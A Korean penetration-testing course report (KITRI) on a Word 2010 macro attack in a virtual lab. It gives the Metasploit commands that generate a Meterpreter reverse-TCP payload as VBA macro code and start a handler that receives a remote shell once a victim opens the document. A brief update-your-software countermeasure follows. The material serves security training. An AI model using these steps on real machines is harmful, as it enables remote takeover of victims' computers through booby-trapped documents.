|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
|  | | |  | | KITRI 모의해킹 28기 | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | 작성: 보안팀 | | |  | |
|  | Macro attack | | | | | | |  |
|  | | macro attack on microsoft word 2010 | | | |  | | |
|  | |  | | | |  | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |

|  |
| --- |
| 1. 개요(개념 및 실습 시나리오) |

매크로란? --> 자주 사용하는 여러 개의 명령어를 묶어서 하나의 키 입력 동작으로 만든 것을 말한다. 복잡하거나 반복되는 작업을 단순화하거나 자동화 하기 위한 목적으로 주로 이용한다. 어셈블리 언어에서도 많이 사용되며, 마이크로소프트 엑셀 등의 스프레드시트도 매크로를 지원하는 등 다양한 플랫폼에서 활용된다. 반복 작업을 간단하게 수행하기 위한 목적뿐만 아니라 문서 안의 같은 문자열을 한꺼번에 변경 할 때도 사용된다.

매크로 바이러스란? --> 새로운 파일 바이러스의 일종이다. 감염대상이 마이크로 소프트사의 엑셀, 워드 등 프로그램에서 사용하는 문서파일이다. 매크로를 사용하는 문서파일에 매크로를 등록해두고나서 문서를 읽을 시에 감염이 이루어진다는 특징이 있다.

특징 --> 바이러스가 문서파일에 매크로 형태로 삽입되어 공격이 이루어지므로, 탐지가 어려운 특징이 있다. visual basic 등의 프로그래밍 언어로 간단히 스크립트를 작성하여 누구나 공격 코드를 만드는 것이 가능하다.

실습 시나리오 --> kali linux의 metasploit을 활용해서 원격으로 서버나 host를 통제할 수 있는 payload를 생성한다. 이때, payload를 macro 형태로 생성하여 생성된 payload를 공격대상 host의 워드 파일에 macro형태로 심어준다. 희생자가 해당 워드 파일을 더블클릭 하는 순간 payload가 실행되어, kali linux에서 희생자 pc를 원격으로 조종이 가능하다.

실습 환경 --> kali linux(공격자) : Linux kali 5.7.0-kali1-amd64 #1 SMP Debian

5.7.6-1kali2 (2020-07-01) x86\_64 GNU/Linux

윈도우7(희생자) : word 2010 다운로드 (원활한 실습 진행을 위해서 가상으로 윈7과

word2010을 구축한다.)

|  |
| --- |
|  |
| 2. 공격 실습 결과 |
| 1. 아래의 명령어를 입력하여 우선 매크로 코드를 생성해 준다.  msfconsole --> 첫번째 명령어  msf5 > use windows/meterpreter/reverse\_tcp  msf5 payload(windows/meterpreter/reverse\_tcp) > set LHOST 192.168.0.156  LHOST => 192.168.0.156  msf5 payload(windows/meterpreter/reverse\_tcp) > set LPORT 4443  LPORT => 4443  msf5 payload(windows/meterpreter/reverse\_tcp) > generate -f vba |
| 2. 위의 작업을 끝내주면 아래와 같이 매크로 코드가 작성된 것을 확인할 수 있다. |
| 3. payload를 통하여 원격 희생자 호스트와 세션을 맺고, 세션을 핸들링 하기 위하여 세션 핸들러를 작동시켜준다.  msfconsole --> 첫번째 명령어  msf5 > use exploit/multi/handler  [\*] Using configured payload generic/shell\_reverse\_tcp  msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp  payload => windows/meterpreter/reverse\_tcp  msf5 exploit(multi/handler) > set LHOST 192.168.0.156  LHOST => 192.168.0.156  msf5 exploit(multi/handler) > set LPORT 4443  LPORT => 4443  msf5 exploit(multi/handler) > set exitonsession false  exitonsession => false  msf5 exploit(multi/handler) > exploit -j  [\*] Exploit running as background job 0.  [\*] Exploit completed, but no session was created.  [\*] Started reverse TCP handler on 192.168.0.156:4443 |
| 4. 아래와 같이 핸들러가 실행되고 있는 것을 확인할 수 있다. |
| 5. 인제 희생자 host에 가서 word 2010으로 새문서를 임의로 작성하여 매크로를 등록하는 작업을 거친다. |
| 6. 위와 같이 매크로를 등록해주고 나면, kali에서 원격 연결이 성공한 것을 확인할 수 있다. |
| 7. screenshot 명령어로 스샷을 찍어보았다. |
|  |
|  |

|  |
| --- |
|  |
| 3. 보안진단 및 대책 |
| OS를 항상 최신버전을 사용하고, microsoft사의 제품을 항상 최신버전으로 사용하도록 한다.  2018이후로는 거의 모든 매크로 공격이 막혀있다. |
|  |
|  |
|  |
|  |
|  |

|  |
| --- |
|  |
| 4. 보안대책 적용시 공격결과 (최종 매뉴얼에 포함) |
|  |
|  |
|  |
|  |
|  |
|  |